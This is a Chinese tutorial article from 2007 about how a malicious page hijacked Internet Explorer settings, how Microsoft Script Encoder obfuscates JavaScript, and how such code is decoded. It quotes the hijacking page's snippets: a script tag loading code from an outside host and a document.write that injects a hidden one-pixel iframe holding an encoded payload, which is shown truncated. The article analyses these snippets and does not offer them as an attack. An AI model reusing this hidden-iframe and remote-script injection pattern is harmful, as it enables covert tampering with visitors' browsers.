精品推荐
网页脚本加密解密
日期:2007年3月9日 作者:清风网络学院 查看:[大字体
中字体 小字体 ]
大家都有这样很烦地经历:可能在网上冲浪时,IE会莫名被被改的希奇古怪了,收藏家也多了 许多什么什么精美照片之类的网址,我后来研究这种网页,隐藏的很深的,首先发现它的主页有这 样的代码有引用什么www.coolstarpage.com的代码, <script src=" http://coolstarpage.com/set.asp?name=123&url=http://www.123.com&set=2"></script> 大家可以去看看 document.write("<IFRAME src='ieatt.htm' width='1' height='0' marginwidth='0' marginheight='0' hspace='0' vspace='0' frameborder='0' scrolling='NO' ></IFRAME>"); 文件ieatt.htm代码这样的: <SCRIPT LANGUAGE="JScript.Encode">#@~^tREAAA==@#@&@!Z O@#@&\mD, WMNdP{JYf;/mMrwD] ...</SCRIPT> 显然用Microsoft Script Encoder加密JavaScript代码了,网络真好,很快找到了 Decoder for Microsoft Script Encoder(该工具的源代码有附)改程序的具体机制及算法详见: http://www.virtualconspiracy.com/scrdec.html 【题外话】 Windows脚本加密器(Windows Script Encoder - screnc.exe)是微软提供给大家加密 html,JScript,ASP等脚本,该工具下载地址: http://msdn.microsoft.com/scripting/default.htm?/scripting/vbscript/download/vbsdown.htm 微软没有提供解密工具,微软在主页上这样说: Note that this encoding only prevents casual viewing of your code; it will not prevent the determined hacker from seeing what you've done and how. 加密器使用方法: screnc filename1 filename2 filename1 - 要加密的脚本文件 filename2 - 加密后输出的脚本文件 举个例子: 源文件如下: <HTML> <HEAD> <TITLE>Page with secret information</TITLE> <SCRIPT LANGUAGE="JScript"> <!--// //**Start Encode** alert ("this code should be kept secret!!!!"); //--> </SCRIPT> </HEAD> <BODY> This page contains secret information. </BODY> </HTML> 加密后文件如下: <HTML> <HEAD> <TITLE>Page with secret information</TITLE> <SCRIPT LANGUAGE="JScript.Encode"> <!--// //**Start Encode**#@~^QwAAAA==@#@&P~,l^+DDPvEY4kdP1W[n,/tK;V9P4 ~V+aY,/nm.nD"Z"eE#p@#@&&JOO@*@#@&qhAAAA==^#~@& lt;/SCRIPT> </HEAD> <BODY> This page contains secret information. </BODY> </HTML> 你已经看到了加密后的脚本使用了Scripting.Encoder这个COM对象来实现的。
复制本页网址和标题,发送给你QQ/Msn的好友一起分享
上一篇:开3389最简单得方法
下一篇:PHP默认安装产生系统漏洞
网页脚本加密解密 相关文章:
网页脚本加密解密 相关软件: